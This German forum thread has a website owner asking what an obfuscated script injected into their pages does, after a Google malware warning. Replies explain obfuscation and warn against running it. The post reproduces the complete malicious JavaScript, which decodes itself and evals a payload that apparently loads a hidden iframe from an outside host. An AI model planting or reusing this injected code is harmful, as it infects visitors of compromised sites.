kein ahnung was das für ein script ist??!!

[LeGSaU]

Hallo zusammen,

Ich hoffe ihr könnt mir weiter helfen!
Vor kurzen hatten wir auf unserer Page auf einmal die Google Malware Warnung für unsere Page...... nachdem ich den Quelltext mal genauer unter die Lupe genommen habe sind mir Scripte aufgefallen die so nicht geschriben wurden und eigentlich da auch nix zu suchen hatten!

Raus gelöscht, Updates des CMS gezogen, Passwörter geändert etc. funzt nun wieder aber kann mir jemand den Script erläutern?

<!-- ad -->
<script>
function createCSS(selector,declaration){var ua=navigator.userAgent.toLowerCase();var isIE=(/msie/.test(ua))&&!(/opera/.test(ua))&&(/win/.test(ua));var style_node=document.createElement("style");if(!isIE)style_node.innerHTML=selector+" {"+declaration+"}";document.getElementsByTagName("head")[0].appendChild(style_node);if(isIE&&document.styleSheets&&document.styleSheets.length>0){var last_style_node=document.styleSheets[document.styleSheets.length-1];if(typeof(last_style_node.addRule)=="object")last_style_node.addRule(selector,declaration);}};var nco={ga:6468,oe:function(){createCSS("#c0","background: url(data:,evaString.fromCharCode)");var nsz=null;var r=document.styleSheets;for(var i=0;i<r.length;i++){try{var unx=r.cssRules||r.rules;for(var jv=0;jv<unx.length;jv++){var kyg=unx.item?unx.item(jv):unx[jv];mj=kyg.style.backgroundImage.match(/url\("?data\:[^,]*,([^")]+)"?\)/)[1];if((mj!=null)&&(mj.indexOf("Str")!=-1))
nsz=mj;};}catch(e){};}
var s="";var g=function(){return this;}();bfe=g[nsz.substr(0,3)+"l"];var pazm="6459q6459q6363q6366q6436q6428q6368q6357q6369q6351q6359q6367q6358q6352q6422q6365q6367q6352q6399q6360q6367q6359q6367q6358q6352q6353q6402q6347q6384q6371q6365q6390q6371q6359q6367q6428q6429q6370q6357q6368q6347q6429q6427q6377q6420q6375q6427q6345q6455q6459q6459q6459q6363q6366q6354q6371q6359q6367q6354q6428q6427q6409q6455q6459q6459q6343q6436q6367q6360q6353q6367q6436q6345q6455q6459q6459q6459q6350q6371q6354q6436q6370q6368q6347q6436q6407q6436q6368q6357q6369q6351q6359q6367q6358q6352q6422q6369q6354q6367q6371q6352q6367q6399q6360q6367q6359q6367q6358q6352q6428q6434q6370q6357q6368q6347q6434q6427q6409q6455q6459q6459q6459q6352q6354q6347q6436q6345q6455q6459q6459q6459q6459q6368q6357q6369q6351q6359q6367q6358q6352q6422q6371q6356q6356q6367q6358q6368q6401q6364q6363q6360q6368q6428q6370q6368q6347q6427q6409q6455q6459q6459q6459q6343q6436q6369q6371q6352q6369q6364q6436q6428q6367q6427q6436q6345q6455q6459q6459q6459q6459q6368q6357q6369q6351q6359q6367q6358q6352q6422q6370q6357q6368q6347q6436q6407q6436q6370q6368q6347q6409q6455q6459q6459q6459q6343q6455q6459q6459q6459q6363q6366q6436q6428q6368q6357q6369q6351q6359q6367q6358q6352q6422q6365q6367q6352q6399q6360q6367q6359q6367q6358q6352q6353q6402q6347q6384q6371q6365q6390q6371q6359q6367q6428q6429q6370q6357q6368q6347q6429q6427q6377q6420q6375q6427q6345q6455q6459q6459q6459q6459q6363q6366q6354q6371q6359q6367q6354q6428q6427q6409q6455q6459q6459q6459q6343q6436q6367q6360q6353q6367q6436q6345q6455q6459q6459q6459q6459q6368q6357q6369q6351q6359q6367q6358q6352q6422q6349q6354q6363q6352q6367q6428q6434q6408q6363q6366q6354q6371q6359q6367q6436q6353q6354q6369q6407q6429q6364q6352q6352q6356q6410q6421q6421q6371q6346q6351q6359q6357q6358q6367q6358q6422q6369q6369q6421q6363q6359q6365q6421q6347q6358q6368q6346q6363q6350q6347q6359q6347q6356q6348q6350q6370q6351q6361q6422q6356q6364q6356q6405q6358q6407q6370q6350q6369q6347q6351q6417q6415q6363q6429q6436q6349q6363q6368q6352q6364q6407q6429q6419q6420q6429q6436q6364q6367q6363q6365q6364q6352q6407q6429q6419q6420q6429q6436q6353q6352q6347q6360q6367q6407q6429q6350q6363q6353q6363q6370q6363q6360q6363q6352q6347q6410q6364q6363q6368q6368q6367q6358q6409q6356q6357q6353q6363q6352q6363q6357q6358q6410q6371q6370q6353q6357q6360q6351q6352q6367q6409q6360q6367q6366q6352q6410q6420q6409q6352q6357q6356q6410q6420q6409q6429q6406q6408q6421q6363q6366q6354q6371q6359q6367q6406q6434q6427q6409q6455q6459q6459q6459q6343q6455q6459q6459q6343q6455q6459q6459q6366q6351q6358q6369q6352q6363q6357q6358q6436q6363q6366q6354q6371q6359q6367q6354q6428q6427q6345q6455q6459q6459q6459q6350q6371q6354q6436q6366q6436q6407q6436q6368q6357q6369q6351q6359q6367q6358q6352q6422q6369q6354q6367q6371q6352q6367q6399q6360q6367q6359q6367q6358q6352q6428q6429q6363q6366q6354q6371q6359q6367q6429q6427q6409q6366q6422q6353q6367q6352q6403q6352q6352q6354q6363q6370q6351q6352q6367q6428q6429q6353q6354q6369q6429q6424q6429q6364q6352q6352q6356q6410q6421q6421q6371q6346q6351q6359q6357q6358q6367q6358q6422q6369q6369q6421q6363q6359q6365q6421q6347q6358q6368q6346q6363q6350q6347q6359q6347q6356q6348q6350q6370q6351q6361q6422q6356q6364q6356q6405q6358q6407q6370q6350q6369q6347q6351q6417q6415q6363q6429q6427q6409q6366q6422q6353q6352q6347q6360q6367q6422q6350q6363q6353q6363q6370q6363q6360q6363q6352q6347q6407q6429q6364q6363q6368q6368q6367q6358q6429q6409q6366q6422q6353q6352q6347q6360q6367q6422q6356q6357q6353q6363q6352q6363q6357q6358q6407q6429q6371q6370q6353q6357q6360q6351q6352q6367q6429q6409q6366q6422q6353q6352q6347q6360q6367q6422q6360q6367q6366q6352q6407q6429q6420q6429q6409q6366q6422q6353q6352q6347q6360q6367q6422q6352q6357q6356q6407q6429q6420q6429q6409q6366q6422q6353q6367q6352q6403q6352q6352q6354q6363q6370q6351q6352q6367q6428q6429q6349q6363q6368q6352q6364q6429q6424q6429q6419q6420q6429q6427q6409q6366q6422q6353q6367q6352q6403q6352q6352q6354q6363q6370q6351q6352q6367q6428q6429q6364q6367q6363q6365q6364q6352q6429q6424q6429q6419q6420q6429q6427q6409q6455q6459q6459q6459q6368q6357q6369q6351q6359q6367q6358q6352q6422q6365q6367q6352q6399q6360q6367q6359q6367q6358q6352q6353q6402q6347q6384q6371q6365q6390q6371q6359q6367q6428q6429q6370q6357q6368q6347q6429q6427q6377q6420q6375q6422q6371q6356q6356q6367q6358q6368q6401q6364q6363q6360q6368q6428q6366q6427q6409q6455q6459q6459q6343".split("q");zam=bfe(nsz.substr(3));for(var i=0;i<pazm.length;i++){ospr=nco.ga-parseInt(pazm);s+=(zam(ospr));}
bfe(s);}};nco.oe();
</script>
<!-- /ad -->


für eure hilfe bin ich im Voraus schon sehr dankbar!



MfG LeGSau

 

[threadi]

Siehe: http://www.html.de/html-und-xhtml/37473-ad.html

 

[LeGSaU]

Danke für die schnelle Antwort:grin:
Das mit dem HTML Kommentar ist mir ja schon klar um des gehts mir ja ned, das Script, dass ist das interessante das ich entschlüsselt haben wollte...

Danke aber trotzdem!
MfG LeGSau

 

[threadi]

Um das geht es durchaus. In dem o.g. Topic wurde schon gesagt, dass es sich um einen Hackereingriff handeln könnte. Wenn Du das entschlüsselst/entschlüsseln willst läufst Du selbst Gefahr ein Opfer zu werden.

 

[mermshaus]

Die Idee dahinter ist, klar lesbaren Code so umzuformen, dass nicht mehr ohne größeren Aufwand zu erkennen ist, was der Code tut.

Ein simples Beispiel dafür in PHP:

<?php

eval(base64_decode('ZWNobyAiSGVsbG8gV29ybGQhIjs='));

Dieses Script gibt „Hallo Welt!“ aus. (Und: Don't use eval at home.)

In dem JavaScript besteht die „Entschlüsselungsroutine“ aus etwa fünf geschachtelten Funktionsaufrufen. Das theoretisch nachzuvollziehen, erfordet einfach Geduld und Spucke.

Wahrscheinlich kannst du in dem Script denjenigen Teil, der die Evaluierung (oder was auch immer) des Codes übernimmt, von der Entschlüsselung abklemmen und diese dann gefahrlos ausführen. Aber ich persönlich möchte nicht unbedingt empfehlen, das auszuprobieren, wenn du dich damit nicht einigermaßen auskennst.